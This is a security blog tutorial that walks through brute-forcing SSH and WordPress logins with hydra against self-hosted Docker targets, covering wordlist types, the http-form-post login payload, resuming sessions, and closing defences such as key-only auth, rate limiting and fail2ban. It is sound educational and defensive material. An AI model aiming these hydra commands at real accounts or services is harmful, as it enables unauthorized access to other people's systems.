Brute-forcing logins with hydra: Attack and defense

Table of contents

Among the many cyberattacks available today, the brute-force or dictionary attack is one of the oldest. While it is a very simple concept, it has remained a real threat throughout the history of software development and needs to be properly understood by developers and operators alike to properly defend against it.

What are brute-force attacks?

When talking about brute-force attacks, security researchers typically refer to an attack on an authentication system by blindly trying user/password combinations. This kind of attack is not very sophisticated: it may take a very long time to complete and is considered loud in cybersecurity terms (it usually creates a lot of network traffic and may leave lots of logs behind).

The viability of a brute-force attack depends on context, but is usually one of the last choices researcher make when attempting to crack a software. The time to attack a system with some known parameters, like existing users or possible password combinations, can make the attack a decent choice - but blindly forcing every possible password combination without any hints is almost never feasible for current day processor speeds.

Wordlists

Since blindly trying passwords during a brute-force attack has very low chances of succeeding, researchers and attackers have opted for an approach with better odds: wordlists. A wordlist is, as the name implies, a list of words - typically passwords, one per line. There are different types of wordlists that may make sense depending on the target and use case:


  • Wordlists containing passwords leaked from previous attacks on other targets. Humans tend to use a fairly limited set of passwords, and from previous attacks have a very high success rate when cracking other accounts created by humans. This problem has become so pronounced that even wikipedia has dedicatd a page to the 10,000 most common passwords, OWASP is publicly sharing the 1 million most common ones and a wordlist from the 2009 RockYou attack is still in use today and even ships by default with cybersecurity distros like Kali Linux.

  • Lists of default passwords. Many programs show default authentication samples in their documentation or provide a default login after installation, These default authentication credentials have been compiled into large lists to use for blind brute-force attacks.

  • Custom wordlists built with social engineering attacks. Social engineering is a different group of security attacks focusing on exploiting the least reliable link in any computer system: the human using it. Many people use passwords that are either common (thus already in wordlists), or directly related to them by including their birthday, names of pets or family members, their hobbies, ... . Most of this information is publicly accessible through social media profiles and birth registers, giving attackers a chance to generate a custom wordlist to use against a person with tools like CUPP.

  • Artificially generated wordlists. If some information is known about a system, it may be feasible to generate a wordlist to use against it. For example, if the password must be a 4 digit number (smartphone pin, security codes, door codes, ...), then generating a wordlist for this specific use case can heavily increase the attacks success rate.

Wordlists are often public domain or shared under open source licenses. Which to use and how well it works for any use case varies per attack, but there are many available to choose from.

Cracking an SSH login with hydra

The tool of choice for most brute-force attacks from a linux system is hydra. It is well-optimized, supports a wide array of protocols and is readily available from most linux distros. On debian you can install it from official repositories:

sudo apt install hydra

In order to see a sample attack, we need a bit of setup: namely a service to target, and a wordlist with possible passwords.

Let's generate a list of 1000 random strings as a fake "password list":

tr -dc 'a-zA-Z0-9' < /dev/urandom | fold -w 12 | head -n 20 > wordlist.txt

And run an openssh server through docker as the dummy target:

docker run --rm -d -p 2222:2222 --name openssh \
  -e PASSWORD_ACCESS=true \
  -e USER_NAME=sysadmin \
  -e USER_PASSWORD=$(shuf -n 1 wordlist.txt) linuxserver/openssh-server

Note that we use shuf to pick a random password from our wordlist, so we don't know what it might be. We assume we already know the account username is sysadmin for this example.

Remember that attacking any target that isn't yours without prior consent is illegal in most countries. You have been warned!

To start the attack on the dummy SSH server, simply point hydra at the target:

hydra -l sysadmin -P wordlist.txt ssh://localhost -s 2222

After some time, it will find the correct password:

While running, hydra produces periodic output (usually one message per minute) to provide some information about speed and the current state of the attack:

[STATUS] 176.00 tries/min, 176 tries in 00:01h, 824 to do in 00:05h, 16 active

You may not get this message with the tiny test wordlist we generated, but using a real one will almost certainly print these log messages.

Cracking a wordpress login

Now that we know how a basic brute-force attack works, let's create a slightly more complex example: A wordpress website. To make it even more difficult, we don't know the username this time either, picking a random one from a list just like we did for the password.

Generate a list of usernames:

tr -dc 'a-zA-Z0-9' < /dev/urandom | fold -w 12 | head -n 3 > users.txt

Then start a wordpress instance with randomly picked credentials:

docker run --rm --name wordpress-mysql -e MYSQL_ROOT_PASSWORD=mysqlpass \
   -e MYSQL_DATABASE=wordpress -e MYSQL_USER=wp_user \
   -e MYSQL_PASSWORD=wp_pass -d mysql:5.7

docker run --rm --name wordpress --link wordpress-mysql:mysql \
   -e WORDPRESS_DB_HOST=wordpress-mysql:3306 -e WORDPRESS_DB_USER=wp_user \
   -e WORDPRESS_DB_PASSWORD=wp_pass -e WORDPRESS_DB_NAME=wordpress\
   -p 8080:80 -d wordpress

docker exec -it wordpress bash -c \
   "curl -O https://raw.githubusercontent.com/wp-cli/builds/gh-pages/phar/wp-cli.phar && chmod +x wp-cli.phar && mv wp-cli.phar /usr/local/bin/wp"

docker exec -it wordpress wp core install --allow-root \
   --url=http://localhost:8080 --title=wp_sample \
   --admin_user=admin --admin_email=admin@nexample.com

docker exec -it -e WP_USER=$(shuf -n 1 users.txt) \
   -e WP_PASS=$(shuf -n 1 wordlist.txt) wordpress bash -c \
   'wp user create $WP_USER user@example.com --role=administrator --user_pass=$WP_PASS --allow-root'

The dummy page is now available at http://localhost:8080.

Cracking a user account for a website like wordpress is a bit more difficult than a plain SSH account. Since there is no specific wordpress module for hydra, we have to use the http-post-form module to create a custom HTTP request for the login attempts. The wp-login.php script handles the login process in wordpress, so we forge an HTTP post payload for the hydra command:


The hydra command needs to be adjusted to try all username in users.txt now instead of using a static one; this can be done by using an uppercase -L instead of the previous lowercase one. Similarly, one could either try a single password with -p, or a file of passwords with -P:

hydra -L users.txt -P wordlist.txt localhost -s 8080 \
   http-form-post "/wp-login.php:log=^USER^&pwd=^PASS^:F=login_error"

After some time, you will see the same success message with the cracked account login for the dummy page.

Resuming long attacks

Brute-force attacks on targets can take days or weeks to complete (if they do at all). The hydra command comes prepared for this task by allowing to pause and later resume an attack. We can simulate a long-running attack by generating a larger wordlist to use against the ssh local container:

tr -dc 'a-zA-Z0-9' < /dev/urandom | fold -w 12 | head -n 20000 > big.txt
hydra -l sysadmin -P big.txt ssh://localhost -s 2222

At any point after starting, you can press ctrl+c to stop the attack. The program should stop with this message:

The session file ./hydra.restore was written. Type "hydra -R" to resume session.

As the message suggests, the file hydra.restore was created in the local directory. To resume the attack, you can simply provide the -R flag:

hydra -R

The resumed attack will remember all options and flags from the initial command, so you don't have to remember the exact parameters used.

When running another hydra command in a directory containing a hydra.restore file, a warning will be issued:

[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore

The warning gives you 10 seconds to quite the command with ctrl+c, or it will override the restore file with the new session.

Defending against brute-force attacks

The first thing to understand about brute-force defense is: you cannot make brute-force attacks impossible- but you can make them too time-consuming to be feasible within a human's lifetime. There are many approaches, so here is a list of the most popular ones:


  • Do not use username/password authentication if possible. If this is possible for your needs, it beats all other options. Using key-only authentication on SSH servers or two-factor auth for web logins makes brute-force attacks effectively meaningless.

  • Have good password quality. Don't use default credentials, ensure your passwords weren't already leaked to the internet, use long (8+ characters) passwords that aren't related to you or your company. Rotate important passwords frequently.

  • Reduce publicly available information. If an attacker can get a valid username or email from a public profile or website, that's one less field to brute-force, cutting their expenses and time requirements in half.

  • Use rate limiting to slow down an attacker's maximum attempts per second. Be careful with this, as too strict settings may also restrict legitimate users.

  • Use automatic locking mechanisms like fail2ban. The software monitors software logs for failed login attempts and temporary bans the origin IP addresses if the maximum fail count is exceeded. This is a very effective last resort against brute-force attacks that makes the time needed to test even small wordlists so long the attack becomes impractical.

More articles

Basic geospatial queries in postgres

Geographic distance search without needing PostGIS

Understanding computer storage units and transfer speeds

Making sense of Gb, GB, GiB, Gbps and GBps

A Practical Guide to Linux Disk Encryption

Keeping disk contents safe from prying eyes

Setting up Grafana to monitor Kubernetes metrics and logs

Combining Grafana, Prometheus and Loki for a robust monitoring stack

Managing users on linux

A guide on users, groups and authentication

Forwarding docker container logs to Grafana Loki

Advanced log processing for local container environments